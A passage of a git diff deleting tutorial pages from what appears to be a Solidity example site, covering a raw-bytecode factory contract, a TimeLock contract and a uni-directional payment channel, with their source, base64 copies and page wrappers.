Simple example of contract written in bytecode

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract Factory {
-    event Log(address addr);
-
-    // Deploys a contract that always returns 42
-    function deploy() external {
-        bytes memory bytecode = hex"69602a60005260206000f3600052600a6016f3";
-        address addr;
-        assembly {
-            // create(value, offset, size)
-            addr := create(0, add(bytecode, 0x20), 0x13)
-        }
-        require(addr != address(0));
-
-        emit Log(addr);
-    }
-}
-
-interface IContract {
-    function getMeaningOfLife() external view returns (uint);
-}
-
-// https://www.evm.codes/playground
-/*
-Run time code - return 42
-602a60005260206000f3
-
-// Store 42 to memory
-mstore(p, v) - store v at memory p to p + 32
-
-PUSH1 0x2a
-PUSH1 0
-MSTORE
-
-// Return 32 bytes from memory
-return(p, s) - end execution and return data from memory p to p + s
-
-PUSH1 0x20
-PUSH1 0
-RETURN
-
-Creation code - return runtime code
-69602a60005260206000f3600052600a6016f3
-
-// Store run time code to memory
-PUSH10 0X602a60005260206000f3
-PUSH1 0
-MSTORE
-
-// Return 10 bytes from memory starting at offset 22
-PUSH1 0x0a
-PUSH1 0x16
-RETURN
-*/
-
` - -export default html diff --git a/src/pages/app/simple-bytecode-contract/index.md b/src/pages/app/simple-bytecode-contract/index.md deleted file mode 100644 index 9f3d6c5f9..000000000 --- a/src/pages/app/simple-bytecode-contract/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Simple Bytecode Contract -version: 0.8.20 -description: Simple example of contract written in bytecode -keywords: [app, application, simple, bytecode, contract] ---- - -Simple example of contract written in bytecode - -```solidity -{{{Factory}}} -``` diff --git a/src/pages/app/simple-bytecode-contract/index.tsx b/src/pages/app/simple-bytecode-contract/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/simple-bytecode-contract/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/time-lock/TimeLock.sol b/src/pages/app/time-lock/TimeLock.sol deleted file mode 100644 index b42e60a8a..000000000 --- a/src/pages/app/time-lock/TimeLock.sol +++ /dev/null @@ -1,146 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract TimeLock { - error NotOwnerError(); - error AlreadyQueuedError(bytes32 txId); - error TimestampNotInRangeError(uint blockTimestamp, uint timestamp); - error NotQueuedError(bytes32 txId); - error TimestampNotPassedError(uint blockTimestmap, uint timestamp); - error TimestampExpiredError(uint blockTimestamp, uint expiresAt); - error TxFailedError(); - - event Queue( - bytes32 indexed txId, - address indexed target, - uint value, - string func, - bytes data, - uint timestamp - ); - event Execute( - bytes32 indexed txId, - address indexed target, - uint value, - string func, - bytes data, - uint timestamp - ); - event Cancel(bytes32 indexed txId); - - uint public constant MIN_DELAY = 10; // seconds - uint public constant MAX_DELAY = 1000; // seconds - uint public constant GRACE_PERIOD = 1000; // seconds - - address public owner; - // tx id => queued - mapping(bytes32 => bool) public queued; - - constructor() { - owner = msg.sender; - } - - modifier onlyOwner() { - if (msg.sender != owner) { - revert NotOwnerError(); - } - _; - } - - receive() external payable {} - - function getTxId( - address _target, - uint _value, - string calldata _func, - bytes calldata _data, - uint _timestamp - ) public pure returns (bytes32) { - return keccak256(abi.encode(_target, _value, _func, _data, _timestamp)); - } - - /** - * @param _target Address of contract or account to call - * @param _value Amount of ETH to send - * @param _func Function signature, for example "foo(address,uint256)" - * @param _data ABI encoded data send. - * @param _timestamp Timestamp after which the transaction can be executed. - */ - function queue( - address _target, - uint _value, - string calldata _func, - bytes calldata _data, - uint _timestamp - ) external onlyOwner returns (bytes32 txId) { - txId = getTxId(_target, _value, _func, _data, _timestamp); - if (queued[txId]) { - revert AlreadyQueuedError(txId); - } - // ---|------------|---------------|------- - // block block + min block + max - if ( - _timestamp < block.timestamp + MIN_DELAY || - _timestamp > block.timestamp + MAX_DELAY - ) { - revert TimestampNotInRangeError(block.timestamp, _timestamp); - } - - queued[txId] = true; - - emit Queue(txId, _target, _value, _func, _data, _timestamp); - } - - function execute( - address _target, - uint _value, - string calldata _func, - bytes calldata _data, - uint _timestamp - ) external payable onlyOwner returns (bytes memory) { - bytes32 txId = getTxId(_target, _value, _func, _data, _timestamp); - if (!queued[txId]) { - revert NotQueuedError(txId); - } - // ----|-------------------|------- - // timestamp timestamp + grace period - if (block.timestamp < _timestamp) { - revert TimestampNotPassedError(block.timestamp, _timestamp); - } - if (block.timestamp > _timestamp + GRACE_PERIOD) { - revert TimestampExpiredError(block.timestamp, _timestamp + GRACE_PERIOD); - } - - queued[txId] = false; - - // prepare data - bytes memory data; - if (bytes(_func).length > 0) { - // data = func selector + _data - data = abi.encodePacked(bytes4(keccak256(bytes(_func))), _data); - } else { - // call fallback with data - data = _data; - } - - // call target - (bool ok, bytes memory res) = _target.call{value: _value}(data); - if (!ok) { - revert TxFailedError(); - } - - emit Execute(txId, _target, _value, _func, _data, _timestamp); - - return res; - } - - function cancel(bytes32 _txId) external onlyOwner { - if (!queued[_txId]) { - revert NotQueuedError(_txId); - } - - queued[_txId] = false; - - emit Cancel(_txId); - } -} diff --git a/src/pages/app/time-lock/index.html.ts b/src/pages/app/time-lock/index.html.ts deleted file mode 100644 index 64a2b7c98..000000000 --- a/src/pages/app/time-lock/index.html.ts +++ /dev/null @@ -1,166 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Time Lock" -export const description = "Time Lock" - -export const keywords = ["app", "application", "time", "lock"] - -export const codes = [ - { - fileName: "TimeLock.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRpbWVMb2NrIHsKICAgIGVycm9yIE5vdE93bmVyRXJyb3IoKTsKICAgIGVycm9yIEFscmVhZHlRdWV1ZWRFcnJvcihieXRlczMyIHR4SWQpOwogICAgZXJyb3IgVGltZXN0YW1wTm90SW5SYW5nZUVycm9yKHVpbnQgYmxvY2tUaW1lc3RhbXAsIHVpbnQgdGltZXN0YW1wKTsKICAgIGVycm9yIE5vdFF1ZXVlZEVycm9yKGJ5dGVzMzIgdHhJZCk7CiAgICBlcnJvciBUaW1lc3RhbXBOb3RQYXNzZWRFcnJvcih1aW50IGJsb2NrVGltZXN0bWFwLCB1aW50IHRpbWVzdGFtcCk7CiAgICBlcnJvciBUaW1lc3RhbXBFeHBpcmVkRXJyb3IodWludCBibG9ja1RpbWVzdGFtcCwgdWludCBleHBpcmVzQXQpOwogICAgZXJyb3IgVHhGYWlsZWRFcnJvcigpOwoKICAgIGV2ZW50IFF1ZXVlKAogICAgICAgIGJ5dGVzMzIgaW5kZXhlZCB0eElkLAogICAgICAgIGFkZHJlc3MgaW5kZXhlZCB0YXJnZXQsCiAgICAgICAgdWludCB2YWx1ZSwKICAgICAgICBzdHJpbmcgZnVuYywKICAgICAgICBieXRlcyBkYXRhLAogICAgICAgIHVpbnQgdGltZXN0YW1wCiAgICApOwogICAgZXZlbnQgRXhlY3V0ZSgKICAgICAgICBieXRlczMyIGluZGV4ZWQgdHhJZCwKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgdGFyZ2V0LAogICAgICAgIHVpbnQgdmFsdWUsCiAgICAgICAgc3RyaW5nIGZ1bmMsCiAgICAgICAgYnl0ZXMgZGF0YSwKICAgICAgICB1aW50IHRpbWVzdGFtcAogICAgKTsKICAgIGV2ZW50IENhbmNlbChieXRlczMyIGluZGV4ZWQgdHhJZCk7CgogICAgdWludCBwdWJsaWMgY29uc3RhbnQgTUlOX0RFTEFZID0gMTA7IC8vIHNlY29uZHMKICAgIHVpbnQgcHVibGljIGNvbnN0YW50IE1BWF9ERUxBWSA9IDEwMDA7IC8vIHNlY29uZHMKICAgIHVpbnQgcHVibGljIGNvbnN0YW50IEdSQUNFX1BFUklPRCA9IDEwMDA7IC8vIHNlY29uZHMKCiAgICBhZGRyZXNzIHB1YmxpYyBvd25lcjsKICAgIC8vIHR4IGlkID0+IHF1ZXVlZAogICAgbWFwcGluZyhieXRlczMyID0+IGJvb2wpIHB1YmxpYyBxdWV1ZWQ7CgogICAgY29uc3RydWN0b3IoKSB7CiAgICAgICAgb3duZXIgPSBtc2cuc2VuZGVyOwogICAgfQoKICAgIG1vZGlmaWVyIG9ubHlPd25lcigpIHsKICAgICAgICBpZiAobXNnLnNlbmRlciAhPSBvd25lcikgewogICAgICAgICAgICByZXZlcnQgTm90T3duZXJFcnJvcigpOwogICAgICAgIH0KICAgICAgICBfOwogICAgfQoKICAgIHJlY2VpdmUoKSBleHRlcm5hbCBwYXlhYmxlIHt9CgogICAgZnVuY3Rpb24gZ2V0VHhJZCgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludCBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQgX3RpbWVzdGFtcAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgcmV0dXJuIGtlY2NhazI1NihhYmkuZW5jb2RlKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAcGFyYW0gX3RhcmdldCBBZGRyZXNzIG9mIGNvbnRyYWN0IG9yIGFjY291bnQgdG8gY2FsbAogICAgICogQHBhcmFtIF92YWx1ZSBBbW91bnQgb2YgRVRIIHRvIHNlbmQKICAgICAqIEBwYXJhbSBfZnVuYyBGdW5jdGlvbiBzaWduYXR1cmUsIGZvciBleGFtcGxlICJmb28oYWRkcmVzcyx1aW50MjU2KSIKICAgICAqIEBwYXJhbSBfZGF0YSBBQkkgZW5jb2RlZCBkYXRhIHNlbmQuCiAgICAgKiBAcGFyYW0gX3RpbWVzdGFtcCBUaW1lc3RhbXAgYWZ0ZXIgd2hpY2ggdGhlIHRyYW5zYWN0aW9uIGNhbiBiZSBleGVjdXRlZC4KICAgICAqLwogICAgZnVuY3Rpb24gcXVldWUoCiAgICAgICAgYWRkcmVzcyBfdGFyZ2V0LAogICAgICAgIHVpbnQgX3ZhbHVlLAogICAgICAgIHN0cmluZyBjYWxsZGF0YSBfZnVuYywKICAgICAgICBieXRlcyBjYWxsZGF0YSBfZGF0YSwKICAgICAgICB1aW50IF90aW1lc3RhbXAKICAgICkgZXh0ZXJuYWwgb25seU93bmVyIHJldHVybnMgKGJ5dGVzMzIgdHhJZCkgewogICAgICAgIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAocXVldWVkW3R4SWRdKSB7CiAgICAgICAgICAgIHJldmVydCBBbHJlYWR5UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLXwtLS0tLS0tLS0tLS18LS0tLS0tLS0tLS0tLS0tfC0tLS0tLS0KICAgICAgICAvLyAgYmxvY2sgICAgYmxvY2sgKyBtaW4gICAgIGJsb2NrICsgbWF4CiAgICAgICAgaWYgKAogICAgICAgICAgICBfdGltZXN0YW1wIDwgYmxvY2sudGltZXN0YW1wICsgTUlOX0RFTEFZIHx8CiAgICAgICAgICAgIF90aW1lc3RhbXAgPiBibG9jay50aW1lc3RhbXAgKyBNQVhfREVMQVkKICAgICAgICApIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcE5vdEluUmFuZ2VFcnJvcihibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXApOwogICAgICAgIH0KCiAgICAgICAgcXVldWVkW3R4SWRdID0gdHJ1ZTsKCiAgICAgICAgZW1pdCBRdWV1ZSh0eElkLCBfdGFyZ2V0LCBfdmFsdWUsIF9mdW5jLCBfZGF0YSwgX3RpbWVzdGFtcCk7CiAgICB9CgogICAgZnVuY3Rpb24gZXhlY3V0ZSgKICAgICAgICBhZGRyZXNzIF90YXJnZXQsCiAgICAgICAgdWludCBfdmFsdWUsCiAgICAgICAgc3RyaW5nIGNhbGxkYXRhIF9mdW5jLAogICAgICAgIGJ5dGVzIGNhbGxkYXRhIF9kYXRhLAogICAgICAgIHVpbnQgX3RpbWVzdGFtcAogICAgKSBleHRlcm5hbCBwYXlhYmxlIG9ubHlPd25lciByZXR1cm5zIChieXRlcyBtZW1vcnkpIHsKICAgICAgICBieXRlczMyIHR4SWQgPSBnZXRUeElkKF90YXJnZXQsIF92YWx1ZSwgX2Z1bmMsIF9kYXRhLCBfdGltZXN0YW1wKTsKICAgICAgICBpZiAoIXF1ZXVlZFt0eElkXSkgewogICAgICAgICAgICByZXZlcnQgTm90UXVldWVkRXJyb3IodHhJZCk7CiAgICAgICAgfQogICAgICAgIC8vIC0tLS18LS0tLS0tLS0tLS0tLS0tLS0tLXwtLS0tLS0tCiAgICAgICAgLy8gIHRpbWVzdGFtcCAgICB0aW1lc3RhbXAgKyBncmFjZSBwZXJpb2QKICAgICAgICBpZiAoYmxvY2sudGltZXN0YW1wIDwgX3RpbWVzdGFtcCkgewogICAgICAgICAgICByZXZlcnQgVGltZXN0YW1wTm90UGFzc2VkRXJyb3IoYmxvY2sudGltZXN0YW1wLCBfdGltZXN0YW1wKTsKICAgICAgICB9CiAgICAgICAgaWYgKGJsb2NrLnRpbWVzdGFtcCA+IF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QpIHsKICAgICAgICAgICAgcmV2ZXJ0IFRpbWVzdGFtcEV4cGlyZWRFcnJvcihibG9jay50aW1lc3RhbXAsIF90aW1lc3RhbXAgKyBHUkFDRV9QRVJJT0QpOwogICAgICAgIH0KCiAgICAgICAgcXVldWVkW3R4SWRdID0gZmFsc2U7CgogICAgICAgIC8vIHByZXBhcmUgZGF0YQogICAgICAgIGJ5dGVzIG1lbW9yeSBkYXRhOwogICAgICAgIGlmIChieXRlcyhfZnVuYykubGVuZ3RoID4gMCkgewogICAgICAgICAgICAvLyBkYXRhID0gZnVuYyBzZWxlY3RvciArIF9kYXRhCiAgICAgICAgICAgIGRhdGEgPSBhYmkuZW5jb2RlUGFja2VkKGJ5dGVzNChrZWNjYWsyNTYoYnl0ZXMoX2Z1bmMpKSksIF9kYXRhKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBjYWxsIGZhbGxiYWNrIHdpdGggZGF0YQogICAgICAgICAgICBkYXRhID0gX2RhdGE7CiAgICAgICAgfQoKICAgICAgICAvLyBjYWxsIHRhcmdldAogICAgICAgIChib29sIG9rLCBieXRlcyBtZW1vcnkgcmVzKSA9IF90YXJnZXQuY2FsbHt2YWx1ZTogX3ZhbHVlfShkYXRhKTsKICAgICAgICBpZiAoIW9rKSB7CiAgICAgICAgICAgIHJldmVydCBUeEZhaWxlZEVycm9yKCk7CiAgICAgICAgfQoKICAgICAgICBlbWl0IEV4ZWN1dGUodHhJZCwgX3RhcmdldCwgX3ZhbHVlLCBfZnVuYywgX2RhdGEsIF90aW1lc3RhbXApOwoKICAgICAgICByZXR1cm4gcmVzOwogICAgfQoKICAgIGZ1bmN0aW9uIGNhbmNlbChieXRlczMyIF90eElkKSBleHRlcm5hbCBvbmx5T3duZXIgewogICAgICAgIGlmICghcXVldWVkW190eElkXSkgewogICAgICAgICAgICByZXZlcnQgTm90UXVldWVkRXJyb3IoX3R4SWQpOwogICAgICAgIH0KCiAgICAgICAgcXVldWVkW190eElkXSA9IGZhbHNlOwoKICAgICAgICBlbWl0IENhbmNlbChfdHhJZCk7CiAgICB9Cn0K", - }, -] - -const html = `

TimeLock is a contract that publishes a transaction to be executed in the future. -After a mimimum waiting period, the transaction can be executed.

-

TimeLocks are commonly used in DAOs.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract TimeLock {
-    error NotOwnerError();
-    error AlreadyQueuedError(bytes32 txId);
-    error TimestampNotInRangeError(uint blockTimestamp, uint timestamp);
-    error NotQueuedError(bytes32 txId);
-    error TimestampNotPassedError(uint blockTimestmap, uint timestamp);
-    error TimestampExpiredError(uint blockTimestamp, uint expiresAt);
-    error TxFailedError();
-
-    event Queue(
-        bytes32 indexed txId,
-        address indexed target,
-        uint value,
-        string func,
-        bytes data,
-        uint timestamp
-    );
-    event Execute(
-        bytes32 indexed txId,
-        address indexed target,
-        uint value,
-        string func,
-        bytes data,
-        uint timestamp
-    );
-    event Cancel(bytes32 indexed txId);
-
-    uint public constant MIN_DELAY = 10; // seconds
-    uint public constant MAX_DELAY = 1000; // seconds
-    uint public constant GRACE_PERIOD = 1000; // seconds
-
-    address public owner;
-    // tx id => queued
-    mapping(bytes32 => bool) public queued;
-
-    constructor() {
-        owner = msg.sender;
-    }
-
-    modifier onlyOwner() {
-        if (msg.sender != owner) {
-            revert NotOwnerError();
-        }
-        _;
-    }
-
-    receive() external payable {}
-
-    function getTxId(
-        address _target,
-        uint _value,
-        string calldata _func,
-        bytes calldata _data,
-        uint _timestamp
-    ) public pure returns (bytes32) {
-        return keccak256(abi.encode(_target, _value, _func, _data, _timestamp));
-    }
-
-    /**
-     * @param _target Address of contract or account to call
-     * @param _value Amount of ETH to send
-     * @param _func Function signature, for example "foo(address,uint256)"
-     * @param _data ABI encoded data send.
-     * @param _timestamp Timestamp after which the transaction can be executed.
-     */
-    function queue(
-        address _target,
-        uint _value,
-        string calldata _func,
-        bytes calldata _data,
-        uint _timestamp
-    ) external onlyOwner returns (bytes32 txId) {
-        txId = getTxId(_target, _value, _func, _data, _timestamp);
-        if (queued[txId]) {
-            revert AlreadyQueuedError(txId);
-        }
-        // ---|------------|---------------|-------
-        //  block    block + min     block + max
-        if (
-            _timestamp < block.timestamp + MIN_DELAY ||
-            _timestamp > block.timestamp + MAX_DELAY
-        ) {
-            revert TimestampNotInRangeError(block.timestamp, _timestamp);
-        }
-
-        queued[txId] = true;
-
-        emit Queue(txId, _target, _value, _func, _data, _timestamp);
-    }
-
-    function execute(
-        address _target,
-        uint _value,
-        string calldata _func,
-        bytes calldata _data,
-        uint _timestamp
-    ) external payable onlyOwner returns (bytes memory) {
-        bytes32 txId = getTxId(_target, _value, _func, _data, _timestamp);
-        if (!queued[txId]) {
-            revert NotQueuedError(txId);
-        }
-        // ----|-------------------|-------
-        //  timestamp    timestamp + grace period
-        if (block.timestamp < _timestamp) {
-            revert TimestampNotPassedError(block.timestamp, _timestamp);
-        }
-        if (block.timestamp > _timestamp + GRACE_PERIOD) {
-            revert TimestampExpiredError(block.timestamp, _timestamp + GRACE_PERIOD);
-        }
-
-        queued[txId] = false;
-
-        // prepare data
-        bytes memory data;
-        if (bytes(_func).length > 0) {
-            // data = func selector + _data
-            data = abi.encodePacked(bytes4(keccak256(bytes(_func))), _data);
-        } else {
-            // call fallback with data
-            data = _data;
-        }
-
-        // call target
-        (bool ok, bytes memory res) = _target.call{value: _value}(data);
-        if (!ok) {
-            revert TxFailedError();
-        }
-
-        emit Execute(txId, _target, _value, _func, _data, _timestamp);
-
-        return res;
-    }
-
-    function cancel(bytes32 _txId) external onlyOwner {
-        if (!queued[_txId]) {
-            revert NotQueuedError(_txId);
-        }
-
-        queued[_txId] = false;
-
-        emit Cancel(_txId);
-    }
-}
-
` - -export default html diff --git a/src/pages/app/time-lock/index.md b/src/pages/app/time-lock/index.md deleted file mode 100644 index bd32801f9..000000000 --- a/src/pages/app/time-lock/index.md +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Time Lock -version: 0.8.20 -description: Time Lock -keywords: [app, application, time, lock] ---- - -`TimeLock` is a contract that publishes a transaction to be executed in the future. -After a mimimum waiting period, the transaction can be executed. - -`TimeLock`s are commonly used in DAOs. - -```solidity -{{{TimeLock}}} -``` diff --git a/src/pages/app/time-lock/index.tsx b/src/pages/app/time-lock/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/app/time-lock/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/app/uni-directional-payment-channel/UniDirectionalPaymentChannel.sol b/src/pages/app/uni-directional-payment-channel/UniDirectionalPaymentChannel.sol deleted file mode 100644 index e6b29513a..000000000 --- a/src/pages/app/uni-directional-payment-channel/UniDirectionalPaymentChannel.sol +++ /dev/null @@ -1,63 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol"; -import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/security/ReentrancyGuard.sol"; - -contract UniDirectionalPaymentChannel is ReentrancyGuard { - using ECDSA for bytes32; - - address payable public sender; - address payable public receiver; - - uint private constant DURATION = 7 * 24 * 60 * 60; - uint public expiresAt; - - constructor(address payable _receiver) payable { - require(_receiver != address(0), "receiver = zero address"); - sender = payable(msg.sender); - receiver = _receiver; - expiresAt = block.timestamp + DURATION; - } - - function _getHash(uint _amount) private view returns (bytes32) { - // NOTE: sign with address of this contract to protect agains - // replay attack on other contracts - return keccak256(abi.encodePacked(address(this), _amount)); - } - - function getHash(uint _amount) external view returns (bytes32) { - return _getHash(_amount); - } - - function _getEthSignedHash(uint _amount) private view returns (bytes32) { - return _getHash(_amount).toEthSignedMessageHash(); - } - - function getEthSignedHash(uint _amount) external view returns (bytes32) { - return _getEthSignedHash(_amount); - } - - function _verify(uint _amount, bytes memory _sig) private view returns (bool) { - return _getEthSignedHash(_amount).recover(_sig) == sender; - } - - function verify(uint _amount, bytes memory _sig) external view returns (bool) { - return _verify(_amount, _sig); - } - - function close(uint _amount, bytes memory _sig) external nonReentrant { - require(msg.sender == receiver, "!receiver"); - require(_verify(_amount, _sig), "invalid sig"); - - (bool sent, ) = receiver.call{value: _amount}(""); - require(sent, "Failed to send Ether"); - selfdestruct(sender); - } - - function cancel() external { - require(msg.sender == sender, "!sender"); - require(block.timestamp >= expiresAt, "!expired"); - selfdestruct(sender); - } -} diff --git a/src/pages/app/uni-directional-payment-channel/index.html.ts b/src/pages/app/uni-directional-payment-channel/index.html.ts deleted file mode 100644 index 5045bb86a..000000000 --- a/src/pages/app/uni-directional-payment-channel/index.html.ts +++ /dev/null @@ -1,97 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uni-Directional Payment Channel" -export const description = "An example of uni-directional payment channels in Solidity" - -export const keywords = [ - "app", - "application", - "uni-directional", - "payment", - "channel", - "signature", - "cryptography", -] - -export const codes = [ - { - fileName: "UniDirectionalPaymentChannel.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvdXRpbHMvY3J5cHRvZ3JhcGh5L0VDRFNBLnNvbCI7CmltcG9ydCAiZ2l0aHViLmNvbS9PcGVuWmVwcGVsaW4vb3BlbnplcHBlbGluLWNvbnRyYWN0cy9ibG9iL3JlbGVhc2UtdjQuNS9jb250cmFjdHMvc2VjdXJpdHkvUmVlbnRyYW5jeUd1YXJkLnNvbCI7Cgpjb250cmFjdCBVbmlEaXJlY3Rpb25hbFBheW1lbnRDaGFubmVsIGlzIFJlZW50cmFuY3lHdWFyZCB7CiAgICB1c2luZyBFQ0RTQSBmb3IgYnl0ZXMzMjsKCiAgICBhZGRyZXNzIHBheWFibGUgcHVibGljIHNlbmRlcjsKICAgIGFkZHJlc3MgcGF5YWJsZSBwdWJsaWMgcmVjZWl2ZXI7CgogICAgdWludCBwcml2YXRlIGNvbnN0YW50IERVUkFUSU9OID0gNyAqIDI0ICogNjAgKiA2MDsKICAgIHVpbnQgcHVibGljIGV4cGlyZXNBdDsKCiAgICBjb25zdHJ1Y3RvcihhZGRyZXNzIHBheWFibGUgX3JlY2VpdmVyKSBwYXlhYmxlIHsKICAgICAgICByZXF1aXJlKF9yZWNlaXZlciAhPSBhZGRyZXNzKDApLCAicmVjZWl2ZXIgPSB6ZXJvIGFkZHJlc3MiKTsKICAgICAgICBzZW5kZXIgPSBwYXlhYmxlKG1zZy5zZW5kZXIpOwogICAgICAgIHJlY2VpdmVyID0gX3JlY2VpdmVyOwogICAgICAgIGV4cGlyZXNBdCA9IGJsb2NrLnRpbWVzdGFtcCArIERVUkFUSU9OOwogICAgfQoKICAgIGZ1bmN0aW9uIF9nZXRIYXNoKHVpbnQgX2Ftb3VudCkgcHJpdmF0ZSB2aWV3IHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICAvLyBOT1RFOiBzaWduIHdpdGggYWRkcmVzcyBvZiB0aGlzIGNvbnRyYWN0IHRvIHByb3RlY3QgYWdhaW5zCiAgICAgICAgLy8gcmVwbGF5IGF0dGFjayBvbiBvdGhlciBjb250cmFjdHMKICAgICAgICByZXR1cm4ga2VjY2FrMjU2KGFiaS5lbmNvZGVQYWNrZWQoYWRkcmVzcyh0aGlzKSwgX2Ftb3VudCkpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEhhc2godWludCBfYW1vdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJ5dGVzMzIpIHsKICAgICAgICByZXR1cm4gX2dldEhhc2goX2Ftb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2dldEV0aFNpZ25lZEhhc2godWludCBfYW1vdW50KSBwcml2YXRlIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0SGFzaChfYW1vdW50KS50b0V0aFNpZ25lZE1lc3NhZ2VIYXNoKCk7CiAgICB9CgogICAgZnVuY3Rpb24gZ2V0RXRoU2lnbmVkSGFzaCh1aW50IF9hbW91bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYnl0ZXMzMikgewogICAgICAgIHJldHVybiBfZ2V0RXRoU2lnbmVkSGFzaChfYW1vdW50KTsKICAgIH0KCiAgICBmdW5jdGlvbiBfdmVyaWZ5KHVpbnQgX2Ftb3VudCwgYnl0ZXMgbWVtb3J5IF9zaWcpIHByaXZhdGUgdmlldyByZXR1cm5zIChib29sKSB7CiAgICAgICAgcmV0dXJuIF9nZXRFdGhTaWduZWRIYXNoKF9hbW91bnQpLnJlY292ZXIoX3NpZykgPT0gc2VuZGVyOwogICAgfQoKICAgIGZ1bmN0aW9uIHZlcmlmeSh1aW50IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGJvb2wpIHsKICAgICAgICByZXR1cm4gX3ZlcmlmeShfYW1vdW50LCBfc2lnKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjbG9zZSh1aW50IF9hbW91bnQsIGJ5dGVzIG1lbW9yeSBfc2lnKSBleHRlcm5hbCBub25SZWVudHJhbnQgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSByZWNlaXZlciwgIiFyZWNlaXZlciIpOwogICAgICAgIHJlcXVpcmUoX3ZlcmlmeShfYW1vdW50LCBfc2lnKSwgImludmFsaWQgc2lnIik7CgogICAgICAgIChib29sIHNlbnQsICkgPSByZWNlaXZlci5jYWxse3ZhbHVlOiBfYW1vdW50fSgiIik7CiAgICAgICAgcmVxdWlyZShzZW50LCAiRmFpbGVkIHRvIHNlbmQgRXRoZXIiKTsKICAgICAgICBzZWxmZGVzdHJ1Y3Qoc2VuZGVyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBjYW5jZWwoKSBleHRlcm5hbCB7CiAgICAgICAgcmVxdWlyZShtc2cuc2VuZGVyID09IHNlbmRlciwgIiFzZW5kZXIiKTsKICAgICAgICByZXF1aXJlKGJsb2NrLnRpbWVzdGFtcCA+PSBleHBpcmVzQXQsICIhZXhwaXJlZCIpOwogICAgICAgIHNlbGZkZXN0cnVjdChzZW5kZXIpOwogICAgfQp9Cg==", - }, -] - -const html = `

Payment channels allow participants to repeatedly transfer Ether off chain.

-

Here is how this contract is used:

-
    -
  • Alice deploys the contract, funding it with some Ether.
  • -
  • Alice authorizes a payment by signing a message (off chain) and sends the signature to Bob.
  • -
  • Bob claims his payment by presenting the signed message to the smart contract.
  • -
  • If Bob does not claim his payment, Alice get her Ether back after the contract expires
  • -
-

This is called a uni-directional payment channel since the payment can go only in a single direction from Alice to Bob.

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";
-import "github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/security/ReentrancyGuard.sol";
-
-contract UniDirectionalPaymentChannel is ReentrancyGuard {
-    using ECDSA for bytes32;
-
-    address payable public sender;
-    address payable public receiver;
-
-    uint private constant DURATION = 7 * 24 * 60 * 60;
-    uint public expiresAt;
-
-    constructor(address payable _receiver) payable {
-        require(_receiver != address(0), "receiver = zero address");
-        sender = payable(msg.sender);
-        receiver = _receiver;
-        expiresAt = block.timestamp + DURATION;
-    }
-
-    function _getHash(uint _amount) private view returns (bytes32) {
